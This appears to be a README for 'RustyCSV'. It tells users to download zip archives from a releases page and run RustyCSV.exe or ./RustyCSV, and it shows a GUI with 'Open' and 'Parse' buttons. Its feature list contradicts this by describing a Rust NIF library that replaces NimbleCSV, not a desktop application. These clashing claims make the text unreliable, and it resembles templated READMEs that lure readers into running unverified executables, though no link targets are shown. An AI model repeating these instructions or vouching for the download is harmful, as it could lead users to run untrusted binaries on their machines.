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🌟 RustyCSV - Fast and Easy CSV Handling

📥 Download RustyCSV

Download RustyCSV

🚀 Getting Started

Welcome to RustyCSV! This guide will help you download and run RustyCSV on your machine. RustyCSV is designed to make working with CSV files quick and efficient, even if you're not a tech expert. Let’s get started.

📋 Requirements

Before you begin, ensure your computer meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 4GB of RAM
  • Disk Space: At least 100MB of free space

🔗 Visit the Releases Page

To download RustyCSV, you can visit the Releases page. This page has all the necessary files and versions available for you to download.

📥 Download & Install

  1. Click on the download link below to visit the Releases page: Download RustyCSV

  2. On the Releases page, you will see several versions of RustyCSV. Choose the latest version. It will usually be at the top of the list.

  3. Click on the file that matches your operating system.

    • For example, if you are using Windows, look for a file named something like RustyCSV-windows-x64.zip.
    • For macOS, look for RustyCSV-macos-x64.zip.
    • For Linux, look for RustyCSV-linux-x64.zip.
  4. Once the download finishes, locate the downloaded file on your computer.

  5. Unzip the File:

    • Windows: Right-click on the downloaded zip file and select “Extract All.”
    • macOS: Double-click the file to unzip it.
    • Linux: Use the command line and type unzip RustyCSV-linux-x64.zip in the directory where you downloaded it.
  6. Open the extracted folder.

  7. Run RustyCSV:

    • Windows: Double-click on RustyCSV.exe.
    • macOS and Linux: Open a terminal, navigate to the extracted directory, and run the command ./RustyCSV.

🔍 How to Use RustyCSV

Once RustyCSV is running, you can start parsing CSV files. Here’s a simple guide on how to use it:

  1. Open RustyCSV.
  2. Choose the CSV file you want to work with by clicking on "Open".
  3. Configure your parsing settings. You can set options like delimiter (comma, semicolon, etc.) and whether to skip headers.
  4. Click “Parse” to start processing your file.
  5. View and export your results directly from the application.

✨ Features of RustyCSV

  • High Performance: Offers fast parsing using Rust NIF with SIMD acceleration.
  • Parallel Processing: Handles multiple CSV files at once for efficiency.
  • Low Memory Usage: Works well even with large files while using limited memory.
  • NimbleCSV Replacement: Easily replace NimbleCSV with RustyCSV for better performance.

⚙️ Troubleshooting

If you encounter issues, here are some common solutions:

  • File Not Found: Ensure you have the correct file path for your CSV.
  • Performance Problems: Close other applications to free up system resources.
  • Compatibility Issues: Ensure you’re using the version suitable for your operating system.

If you’re still facing issues, feel free to check the GitHub Issues Page for support.

📄 Additional Information

For more detailed information on using RustyCSV and exploring its capabilities, please visit the Documentation Page.

🛠️ Contributing

If you wish to contribute to RustyCSV, check our guidelines on the GitHub repository. We welcome suggestions, bug reports, and pull requests to improve this tool.

📧 Contact

For questions or feedback, you can reach out via the Issues section of the repository. Your input helps us improve RustyCSV.

Thank you for using RustyCSV! We hope it makes your CSV handling faster and easier.

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